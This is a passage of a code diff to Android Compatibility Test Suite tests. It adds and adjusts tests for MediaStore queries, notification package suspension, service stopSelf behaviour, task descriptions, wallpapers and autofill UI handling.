+                case MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE:
+                    mediaStoreUri = ContentUris.withAppendedId(
+                            MediaStore.Images.Media.getContentUri(volumeName), id);
+                    break;
+                case MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO:
+                    mediaStoreUri = ContentUris.withAppendedId(
+                            MediaStore.Video.Media.getContentUri(volumeName), id);
+                    break;
+            }
+        }
         // Need to pass in the user id to support multi-user scenarios.
         final int userId = getUserId();
         final String cmd = String.format("content query --uri %s --projection %s --user %s",
-                downloadUri, DownloadManager.COLUMN_MEDIASTORE_URI, userId);
+                mediaStoreUri, columnName, userId);
         final String res = runShellCommand(cmd).trim();
-        final String str = DownloadManager.COLUMN_MEDIASTORE_URI + "=";
+        final String str = columnName + "=";
         final int i = res.indexOf(str);
         if (i >= 0) {
-            return Uri.parse(res.substring(i + str.length()));
+            return res.substring(i + str.length());
         } else {
             throw new FileNotFoundException("Failed to find "
-                    + DownloadManager.COLUMN_MEDIASTORE_URI + " for "
-                    + downloadUri + "; found " + res);
+                    + columnName + " for "
+                    + mediaStoreUri + "; found " + res);
+        }
+    }
+
+    private int getMediaType(Uri mediaStoreUri) throws Exception {
+        final Uri filesUri = MediaStore.Files.getContentUri(
+                MediaStore.getVolumeName(mediaStoreUri),
+                ContentUris.parseId(mediaStoreUri));
+        return Integer.parseInt(getMediaStoreColumnValue(filesUri,
+                MediaStore.Files.FileColumns.MEDIA_TYPE));
+    }
+
+    protected int getTotalBytes(InputStream in) throws Exception {
+        try {
+            int total = 0;
+            final byte[] buf = new byte[4096];
+            int bytesRead;
+            while ((bytesRead = in.read(buf)) != -1) {
+                total += bytesRead;
+            }
+            return total;
+        } finally {
+            FileUtils.closeQuietly(in);
         }
     }
 
@@ -154,7 +212,8 @@
 
     protected static String readFromRawFile(String filePath) throws Exception {
         Log.d(TAG, "Reading form file: " + filePath);
-        return runShellCommand("cat " + filePath);
+        return readFromFile(
+            ParcelFileDescriptor.open(new File(filePath), ParcelFileDescriptor.MODE_READ_ONLY));
     }
 
     protected static String readFromFile(ParcelFileDescriptor pfd) throws Exception {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 697fe18..db1df37 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -98,9 +98,11 @@
 
 import junit.framework.Assert;
 
+import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.InputStreamReader;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -342,6 +344,11 @@
     private void cancelAndPoll(int id) {
         mNotificationManager.cancel(id);
 
+        try {
+            Thread.sleep(500);
+        } catch (InterruptedException ex) {
+            // pass
+        }
         if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
             fail("canceled notification was still alive, id=" + id);
         }
@@ -984,6 +991,38 @@
         }
     }
 
+    public void testSuspendPackage_withoutShellPermission() throws Exception {
+        if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+            return;
+        }
+
+        try {
+            Process proc = Runtime.getRuntime().exec("cmd notification suspend_package "
+                    + mContext.getPackageName());
+
+            // read output of command
+            BufferedReader reader =
+                    new BufferedReader(new InputStreamReader(proc.getInputStream()));
+            StringBuilder output = new StringBuilder();
+            String line = reader.readLine();
+            while (line != null) {
+                output.append(line);
+                line = reader.readLine();
+            }
+            reader.close();
+            final String outputString = output.toString();
+
+            proc.waitFor();
+
+            // check that the output string had an error / disallowed call since it didn't have
+            // shell permission to suspend the package
+            assertTrue(outputString.contains("Error"));
+            assertTrue(outputString.contains("Disallowed call"));
+        } catch (InterruptedException e) {
+            fail("Unsuccessful shell command");
+        }
+    }
+
     public void testSuspendPackage() throws Exception {
         if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
             return;
@@ -2626,8 +2665,10 @@
             // Should be foreground now
             a.sendBubble(1);
 
+            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
+
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
-                    true /* shouldExist */, true /* shouldBeBubble */)) {
+                    true /* shouldExist */, shouldBeBubble)) {
                 fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
             }
 
@@ -2638,8 +2679,6 @@
             // The notif should be allowed to update as a bubble
             a.sendBubble(2);
 
-            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
                     true /* shouldExist */, shouldBeBubble)) {
                 fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 6649346..5486082 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -29,6 +29,7 @@
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
+import android.app.stubs.LocalStoppedService;
 import android.app.stubs.NullService;
 import android.app.stubs.R;
 import android.content.ComponentName;
@@ -77,6 +78,7 @@
     private static final int STATE_DESTROY = 4;
     private static final int STATE_REBIND = 5;
     private static final int STATE_UNBIND_ONLY = 6;
+    private static final int STATE_STOP_SELF_SUCCESS_UNBIND = 6;
     private static final int DELAY = 5000;
     private static final
         String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
@@ -220,6 +222,46 @@
         }
     }
 
+    private class TestStopSelfConnection extends TestConnection {
+        private IBinder mService;
+
+        public TestStopSelfConnection() {
+            super(false /* expectDisconnect */, true /* setReporter */);
+        }
+
+        private void executeTransact(int code) {
+            Parcel data = Parcel.obtain();
+            data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+            try {
+                mService.transact(code, data, null /* reply */, 0);
+            } catch (RemoteException e) {
+                finishBad("DeadObjectException when sending reporting object");
+            }
+            data.recycle();
+        }
+
+        public void stopSelf() {
+            executeTransact(LocalService.STOP_SELF_CODE);
+        }
+
+        public void stopSelfResult() {
+            executeTransact(LocalService.STOP_SELF_RESULT_CODE);
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = service;
+            super.onServiceConnected(name, service);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            synchronized (this) {
+                mService = null;
+            }
+        }
+    }
+
     final class IsolatedConnection implements ServiceConnection {
         private IBinder mService;
         private int mUid;
@@ -756,12 +798,70 @@
                             + mExpectedServiceState + ")");
                 }
                 return true;
+            } else if (code == LocalService.STOP_SELF_SUCCESS_UNBIND_CODE) {
+                data.enforceInterface(LocalService.SERVICE_LOCAL);
+                if (mExpectedServiceState == STATE_STOP_SELF_SUCCESS_UNBIND) {
+                    finishGood();
+                } else {
+                    finishBad("onUnbind() was called when not expected (state="
+                            + mExpectedServiceState + ")");
+                }
+                return true;
             } else {
                 return super.onTransact(code, data, reply, flags);
             }
         }
     }
 
+    public void testStopSelf() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_UNBIND;
+        conn.stopSelf();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
+
+    public void testStopSelfResult() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_STOP_SELF_SUCCESS_UNBIND;
+        conn.stopSelfResult();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
 
     public void testLocalStartClass() throws Exception {
         startExpectResult(mLocalService);
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
index 86bdda5..fe06c4f 100644
--- a/tests/app/src/android/app/cts/TaskDescriptionTest.java
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -57,8 +57,8 @@
 
     @Rule
     public ActivityTestRule<MockActivity> mTaskDescriptionActivity =
-        new ActivityTestRule<>(MockActivity.class,
-            false /* initialTouchMode */, false /* launchActivity */);
+            new ActivityTestRule<>(MockActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
 
     @Test
     public void testBitmapConstructor() throws Exception {
@@ -66,17 +66,37 @@
         final Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
         bitmap.eraseColor(0);
         activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap, TEST_COLOR));
-        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA);
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, bitmap);
+
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap));
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, bitmap);
     }
 
     @Test
     public void testResourceConstructor() throws Exception {
         final Activity activity = mTaskDescriptionActivity.launchActivity(null);
         activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA, TEST_COLOR));
-        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA);
+        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA, null);
+
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA));
+        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA, null);
     }
 
-    private void assertTaskDescription(Activity activity, String label, int resId) {
+    @Test
+    public void testLabelConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL));
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, null);
+    }
+
+    @Test
+    public void testEmptyConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        activity.setTaskDescription(new TaskDescription());
+        assertTaskDescription(activity, null, TEST_NO_DATA, null);
+    }
+
+    private void assertTaskDescription(Activity activity, String label, int resId, Bitmap bitmap) {
         final ActivityManager am = (ActivityManager) activity.getSystemService(ACTIVITY_SERVICE);
         List<RecentTaskInfo> recentsTasks = am.getRecentTasks(1 /* maxNum */, 0 /* flags */);
         if (!recentsTasks.isEmpty()) {
@@ -84,7 +104,7 @@
             if (activity.getTaskId() == info.id) {
                 final TaskDescription td = info.taskDescription;
                 assertNotNull(td);
-                if (resId == TEST_NO_DATA) {
+                if (bitmap != null) {
                     // TaskPersister at the worst case scenario waits 3 secs (PRE_TASK_DELAY_MS) to
                     // write the image to disk if its write time has ended
                     waitFor("TaskDescription's icon is null", () -> td.getIcon() != null);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fe5f183..3b9934a 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.app.cts;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.nullable;
@@ -72,6 +73,7 @@
         MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
+        assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
         final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
         handlerThread.start();
         mHandler = new Handler(handlerThread.getLooper());
@@ -477,4 +479,4 @@
         public void onColorsChanged(WallpaperColors colors, int which) {
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index dbc5f38..8e92d9a 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -39,6 +39,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
@@ -47,6 +48,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import org.junit.ClassRule;
 import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.Executors;
@@ -66,6 +68,10 @@
     private static final String TEST_LAUNCH_LOCATION = "testCollapsedLocation";
     private static final int TEST_ACTION = 2;
 
+    @ClassRule
+    public static final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(APP_PREDICTION_SERVICE);
+
     private ServiceReporter mReporter;
     private Bundle mPredictionContextExtras;
 
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index d924ccc..eac063b 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 351486
 felipeal@google.com
+svetoslavganov@google.com
+adamhe@google.com
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 773afae..166e73c 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -17,28 +17,40 @@
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/parent"
-    android:orientation="horizontal"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:orientation="vertical"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent" >
 
-    <TextView android:id="@+id/static_text"
-        android:paddingEnd="16dp"
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <TextView android:id="@+id/static_text"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"
+            android:text="YO:"/>
+
+        <TextView android:id="@+id/first"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+
+        <TextView android:id="@+id/second"
+            android:layout_weight="1"
+            android:layout_width="0dp"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
+
+    <LinearLayout
         android:layout_width="wrap_content"
-        android:layout_height="match_parent"
-        android:text="YO:"/>
+        android:layout_height="fill_parent">
 
-    <TextView android:id="@+id/first"
-        android:paddingEnd="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
+        <ImageView android:id="@+id/img"
+            android:paddingStart="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
 
-    <TextView android:id="@+id/second"
-        android:layout_weight="1"
-        android:layout_width="0dp"
-        android:layout_height="match_parent"/>
-
-    <ImageView android:id="@+id/img"
-        android:paddingStart="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
index a955587..6884f06 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
@@ -173,4 +173,11 @@
         }
         super.finish();
     }
+
+    /**
+     * Clears focus from input fields.
+     */
+    public void clearFocus() {
+        throw new UnsupportedOperationException("Not implemented by " + getClass());
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
index b9d631e..6e7b475 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
@@ -60,7 +60,7 @@
         try {
             event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
                     Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (TimeoutException ex) {
+        } catch (WindowChangeTimeoutException ex) {
             // no window events! looking good
             return;
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
index c0b2994..e7c0cf7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
@@ -55,7 +55,7 @@
         try {
             event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
                     Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (TimeoutException ex) {
+        } catch (WindowChangeTimeoutException ex) {
             // no window events! looking good
             return;
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 0338851..691ee97 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -196,15 +196,15 @@
         @ClassRule
         public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule();
 
+        protected static final RequiredFeatureRule sRequiredFeatureRule =
+                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
         private final TestWatcher mTestWatcher = new AutofillTestWatcher();
 
         private final RetryRule mRetryRule = new RetryRule(getNumberRetries());
 
         private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
 
-        private final RequiredFeatureRule mRequiredFeatureRule =
-                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
-
         protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
                 .setDumper(mLoggingRule)
                 .run(() -> sReplier.assertNoUnhandledFillRequests())
@@ -214,8 +214,8 @@
         @Rule
         public final RuleChain mLookAllTheseRules = RuleChain
                 //
-                // mRequiredFeatureRule should be first so the test can be skipped right away
-                .outerRule(mRequiredFeatureRule)
+                // requiredFeatureRule should be first so the test can be skipped right away
+                .outerRule(getRequiredFeaturesRule())
                 //
                 // mTestWatcher should always be one the first rules, as it defines the name of the
                 // test being ran and finishes dangling activities at the end
@@ -288,6 +288,17 @@
         }
 
         /**
+         * Gets a rule that defines which features must be present for this test to run.
+         *
+         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
+         * but subclass can override to be more specific.
+         */
+        @NonNull
+        protected TestRule getRequiredFeaturesRule() {
+            return sRequiredFeatureRule;
+        }
+
+        /**
          * Gets the test-specific {@link Rule @Rule}.
          *
          * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index cabdee3..4aa0858 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -305,6 +305,9 @@
         // Autofill it.
         mUiBot.selectDataset("dataset");
 
+        // TODO(b/137856201): Fix race condition in getSelectedItemPosition().
+        Thread.sleep(1000);
+
         if (expectAutoFill) {
             // Check the results.
             spinnerWatcher.assertAutoFilled();
@@ -524,7 +527,7 @@
 
     @Test
     public void autofillInvalidListValueToRadioGroup() throws Exception {
-        autofillListValue(AutofillValue.forList(-1), 0, false);
+        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 97cacc2..06c0e00 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -896,7 +896,18 @@
             @NonNull String serviceName) {
         if (isAutofillServiceEnabled(serviceName)) return;
 
+        // Sets the setting synchronously. Note that the config itself is sets synchronously but
+        // launch of the service is asynchronous after the config is updated.
         SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
+
+        // Waits until the service is actually enabled.
+        try {
+            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
+                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
+            });
+        } catch (Exception e) {
+            throw new AssertionError("Enabling Autofill service failed.");
+        }
     }
 
     /**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 75b92ec..efd001f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -232,9 +232,7 @@
         syncRunOnUiThread(() -> v.visit(mUsernameEditText));
     }
 
-    /**
-     * Clears focus from input fields by focusing on the parent layout.
-     */
+    @Override
     public void clearFocus() {
         syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 2c154eb..64dee4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2087,7 +2087,7 @@
         mActivity.expectAutoFill("dude", "sweet");
 
         // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME, false).click();
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
 
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
@@ -2121,7 +2121,7 @@
         mActivity.expectAutoFill("dude", "sweet");
 
         // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME, true).click();
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
 
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
@@ -2397,6 +2397,9 @@
                 assertTextAndValue(passwordNode, password);
 
                 waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
             } catch (RetryableException e) {
                 throw new RetryableException(e, "on step %d", i);
             } catch (Throwable t) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 2e56a02..ff884ce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -760,9 +760,8 @@
      * faster.
      *
      * @param id resource id of the field.
-     * @param expectOverflow whether overflow menu should be shown (when clipboard contains text)
      */
-    public UiObject2 getAutofillMenuOption(String id, boolean expectOverflow) throws Exception {
+    public UiObject2 getAutofillMenuOption(String id) throws Exception {
         final UiObject2 field = waitForObject(By.res(mPackageName, id));
         // TODO: figure out why obj.longClick() doesn't always work
         field.click(3000);
@@ -771,31 +770,36 @@
                 By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final String expectedText = getAutofillContextualMenuTitle();
 
-        if (expectOverflow) {
-            // Check first menu does not have AUTOFILL
-            for (UiObject2 menuItem : menuItems) {
-                final String menuName = menuItem.getText();
-                if (menuName.equalsIgnoreCase(expectedText)) {
-                    throw new IllegalStateException(expectedText + " in context menu");
-                }
-            }
-
-            final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
-
-            // Click overflow menu button.
-            final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
-            overflowMenu.click();
-
-            // Wait for overflow menu to show.
-            mDevice.wait(Until.gone(overflowSelector), 1000);
-        }
-
-        menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final StringBuffer menuNames = new StringBuffer();
+
+        // Check first menu for AUTOFILL
         for (UiObject2 menuItem : menuItems) {
             final String menuName = menuItem.getText();
             if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in first menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+
+        menuNames.append(";");
+
+        // First menu does not have AUTOFILL, check overflow
+        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+        // Click overflow menu button.
+        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+        overflowMenu.click();
+
+        // Wait for overflow menu to show.
+        mDevice.wait(Until.gone(overflowSelector), 1000);
+
+        menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in overflow menu");
                 return menuItem;
             }
             menuNames.append("'").append(menuName).append("' ");
@@ -894,19 +898,24 @@
      * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
      * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
      */
-    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis)
-            throws TimeoutException {
-        return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
-            switch (event.getEventType()) {
-                case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
-                case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
-                    return true;
-            }
-            return false;
-        }, timeoutMillis);
+    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
+        try {
+            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
+                switch (event.getEventType()) {
+                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
+                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
+                        return true;
+                    default:
+                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
+                }
+                return false;
+            }, timeoutMillis);
+        } catch (TimeoutException e) {
+            throw new WindowChangeTimeoutException(e, timeoutMillis);
+        }
     }
 
-    public AccessibilityEvent waitForWindowChange(Runnable runnable) throws TimeoutException {
+    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
         return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 430a533..3253f29 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -167,4 +167,9 @@
     public UiObject2 getLoginButton() throws Exception {
         return mLoginButton;
     }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> mParent.requestFocus());
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index ca68a4e..3af85fb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -353,16 +353,19 @@
         Helper.assertTextIsSanitized(outside2FillNode);
 
         // Move focus around to make sure UI is shown accordingly
+        mActivity.clearFocus();
         mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
         callback.assertUiHiddenEvent(myWebView, usernameChildId);
         mUiBot.assertDatasets("OUT1");
         callback.assertUiShownEvent(mActivity.mOutside1);
 
+        mActivity.clearFocus();
         mActivity.getPasswordInput().click();
         callback.assertUiHiddenEvent(mActivity.mOutside1);
         mUiBot.assertDatasets("PASS");
         final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
 
+        mActivity.clearFocus();
         mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
         callback.assertUiHiddenEvent(myWebView, passwordChildId);
         final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
old mode 100755
